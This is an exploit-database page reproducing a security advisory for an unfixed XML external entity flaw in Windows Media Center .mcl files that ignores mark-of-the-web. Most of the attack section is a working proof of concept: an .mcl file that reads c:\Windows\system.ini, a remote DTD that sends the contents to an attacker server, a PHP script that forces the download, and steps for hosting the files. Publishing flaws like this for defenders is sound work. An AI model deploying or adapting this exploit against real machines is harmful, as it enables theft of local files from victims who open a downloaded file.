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"Microsoft Windows Media Center 2002 - XML External Entity MotW Bypass"

Author

Exploit author

hyp3rlinx

Platform

Exploit platform

xml

Release date

Exploit published date

2019-12-03

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# Exploit Title: Microsoft Windows Media Center 2002 - XML External Entity MotW Bypass
# Discovery by: hyp3rlinx
# Date: 2019-12-03
# Vendor Homepage: www.microsoft.com
# CVE: N/A

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WINDOWS-MEDIA-CENTER-MOTW-BYPASS-XXE-ANNIVERSARY-EDITION.txt
[+] ISR: Apparition Security         
 

[Vendor]
www.microsoft.com


[Product]
Microsoft Windows Media Center

Windows Media Center is a discontinued digital video recorder and media player created by Microsoft.
Media Center was first introduced to Windows in 2002 on Windows XP Media Center.


[Vulnerability Type]
XML External Entity MotW Bypass (Anniversary Edition)


[CVE Reference]
N/A


[Security Issue]
This vulnerability was originally released by me back on December 4, 2016, yet remains unfixed.
Now, to make matters worse I will let you know "mark-of-the-web" MotW does not matter here, its just ignored.
Meaning, if the .MCL file is internet downloaded it gets the MOTW but files still exfiltrated. 

Therefore, I am releasing this "anniversary edition" XXE with important motw informations.

This is a fully working remote information disclosure vulnerability that still affects Windows 7.
Windows 7 is near end of life this January, yet it is still used by many organizations.
Furthermore, it seems that Windows 8.1 (Pro) can also run Windows Media Center but I have not tested it.

Host the "FindMeThatBiotch.dtd" DTD file in the web-root of the attacker server Port 80 etc...
Download the ".mcl" file using Microsoft Internet Explorer.

Check the MotW where you downloaded the .mcl file dir /r and note the Zone.Identifier:$DATA exists.
Open the file and BOOM! watch shitz leaving!... still vulnerable after all these years lol.

OS: Windows 7 (tested successfully) and possibly Windows 8.1 Pro


[Exploit/POC]
1) "M$-Wmc-Anniversary-Motw-Bypass.mcl"

# PoC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE knobgobslob [
<!ENTITY % data666 SYSTEM "c:\Windows\system.ini">
<!ENTITY % junk SYSTEM "http://<TARGET-IP>/FindMeThatBiotch.dtd">
%junk;
%param666;
%FindMeThatBiotch;
]>


2) "FindMeThatBiotch.dtd"
<!ENTITY % param666 "<!ENTITY &#x25; FindMeThatBiotch SYSTEM 'http://<TARGET-IP>/%data666;'>">


3) Auto exploit PHP .mcl file downloader.

<?php
$url = 'http://<ATTACKER-IP>/M$-Wmc-Anniversary-Motw-Bypass.mcl';
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary"); 
header("Content-disposition: attachment; filename=\"" . basename($url) . "\""); 
readfile($url);
?>


4) python -m SimpleHTTPServer 80



[POC Video URL]
https://www.youtube.com/watch?v=zcrATpBNAZ0


[Network Access]
Remote



[Severity]
High


[Disclosure Timeline]
Vendor Notification:  December 4, 2016
MSRC "wont fix"
Dec 2, 2019 : Re-Public "unfixed anniversary" Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47740/?format=json')

For full documentation follow the link above

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